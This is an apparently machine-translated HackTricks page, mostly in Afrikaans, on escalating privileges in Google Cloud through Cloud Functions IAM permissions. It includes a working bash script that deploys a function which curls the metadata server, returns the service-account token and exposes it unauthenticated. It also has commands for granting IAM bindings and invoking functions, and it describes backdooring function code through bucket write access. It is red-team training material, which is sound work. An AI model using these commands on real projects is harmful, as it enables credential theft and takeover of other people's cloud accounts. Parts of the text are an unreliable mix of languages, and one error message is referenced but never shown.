GCP - Cloudfunctions Privesc

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

cloudfunctions

Meer inligting oor Cloud Functions:

GCP - Cloud Functions Enum

cloudfunctions.functions.create , cloudfunctions.functions.sourceCodeSet, iam.serviceAccounts.actAs

’n Aanvaller met hierdie voorregte kan ’n nuwe Cloud Function met arbitrêre (kwaadaardige) kode skep en dit ’n Service Account toewys. Dan, leak the Service Account token from the metadata om voorregte daartoe te eskaleer.
Sommige voorregte om die funksie te trigger mag benodig word.

Exploit scripts for this method can be found here and here and the prebuilt .zip file can be found here.

cloudfunctions.functions.update , cloudfunctions.functions.sourceCodeSet, iam.serviceAccounts.actAs

’n Aanvaller met hierdie voorregte kan die kode van ’n Function wysig en selfs die aangehegte service account verander met die doel om die token te exfiltrating.

Caution

In order to deploy cloud functions you will also need actAs permissions over the default compute service account or over the service account that is used to build the image.

Sommige ekstra voorregte soos die .call permission vir version 1 cloudfunctions of die rol role/run.invoker om die funksie te trigger mag benodig word.

# Create new code
temp_dir=$(mktemp -d)

cat > $temp_dir/main.py <<EOF
import subprocess

def main(request):
cmd = "curl -s -f -H 'Metadata-Flavor: Google' 'http://metadata/computeMetadata/v1/instance/service-accounts/default/token'"
result = subprocess.check_output(cmd, shell=True, text=True)
return result
EOF

echo "" > $temp_dir/requirements.txt

zip -r $temp_dir/function.zip $temp_dir/main.py $temp_dir/requirements.txt

# Update code
gcloud functions deploy <cloudfunction-name> \
--runtime python312 \
--source $temp_dir \
--entry-point main \
--service-account <sa>@$PROJECT_ID.iam.gserviceaccount.com \
--trigger-http \
--allow-unauthenticated

# Get SA token calling the new function code
gcloud functions call <cloudfunction-name>

Caution

As jy die fout Permission 'run.services.setIamPolicy' denied on resource... kry, is dit omdat jy die --allow-unauthenticated param gebruik en jy nie genoeg toestemmings daarvoor het nie.

Die exploit script vir hierdie metode kan gevind word here.

cloudfunctions.functions.sourceCodeSet

Met hierdie toestemming kan jy ’n ondertekende URL kry om ’n lêer na ’n function bucket op te laai (maar die kode van die funksie sal nie verander word nie, jy moet dit steeds bywerk)

# Generate the URL
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions:generateUploadUrl \
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
-H "Content-Type: application/json" \
-d '{}'

Nie heeltemal seker hoe nuttig slegs hierdie toestemming vanuit ’n attackers-perspektief is nie, maar goed om te weet.

cloudfunctions.functions.setIamPolicy , iam.serviceAccounts.actAs

Gee jouself enige van die vorige .update of .create privileges om te escalate.

gcloud functions add-iam-policy-binding <NOMBRE_FUNCION> \
--region=<REGION> \
--member="<MIEMBRO>" \
--role="roles/cloudfunctions.invoker"

cloudfunctions.functions.update

As jy slegs cloudfunctions toestemmings het, sonder iam.serviceAccounts.actAs, sal jy nie die funksie kan opdateer nie — DIT IS DUS NIE ’N GELDIGE PRIVESC NIE.

Funksies aanroep

Met die cloudfunctions.functions.get, cloudfunctions.functions.invoke, run.jobs.run, en run.routes.invoke toestemmings, kan ’n identiteit direk Cloud Functions aanroep. Dit is ook nodig dat die funksie openbare verkeer toelaat, of dat die oproeper in dieselfde netwerk as die funksie self is.

curl -X POST "https://<FUNCTION_URL>" \
-H "Authorization: bearer $(gcloud auth print-identity-token)" \
-H "Content-Type: application/json" \
-d '{  "name": "Developer" }'

Lees- en skryftoegang oor die bucket

Indien jy lees- en skryftoegang oor die bucket het, kan jy veranderinge in die code monitor, en telkens wanneer ’n update in die bucket plaasvind kan jy die nuwe code vervang met jou eie code sodat die nuwe weergawe van die Cloud Function met die ingediende backdoored code uitgevoer sal word.

Jy kan meer oor die aanval sien in:

GCP - Storage Privesc

Dit kan egter nie gebruik word om derdeparty Cloud Functions vooraf te kompromitteer nie, want as jy die bucket in jou rekening skep en dit openbare toestemmings gee sodat die eksterne projek daaroor kan skryf, kry jy die volgende fout:

Caution

Dit kan egter gebruik word vir DoS attacks.

Lees- en skryftoegang oor Artifact Registry

Wanneer ’n Cloud Function geskep word, word ’n nuwe docker image na die Artifact Registry van die projek gepush. Ek het probeer om die image met ’n nuwe een te wysig, en selfs die huidige image (en die cache image) te verwyder, maar niks het verander nie — die Cloud Function het voortgegaan om te werk. Daarom mag dit dalk moontlik wees om ’n Race Condition attack te misbruik, soos met die bucket, om die docker container wat uitgevoer sal word te verander, maar net die gestoorde image wysig is nie genoeg om die Cloud Function te kompromitteer nie.

Verwysings

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks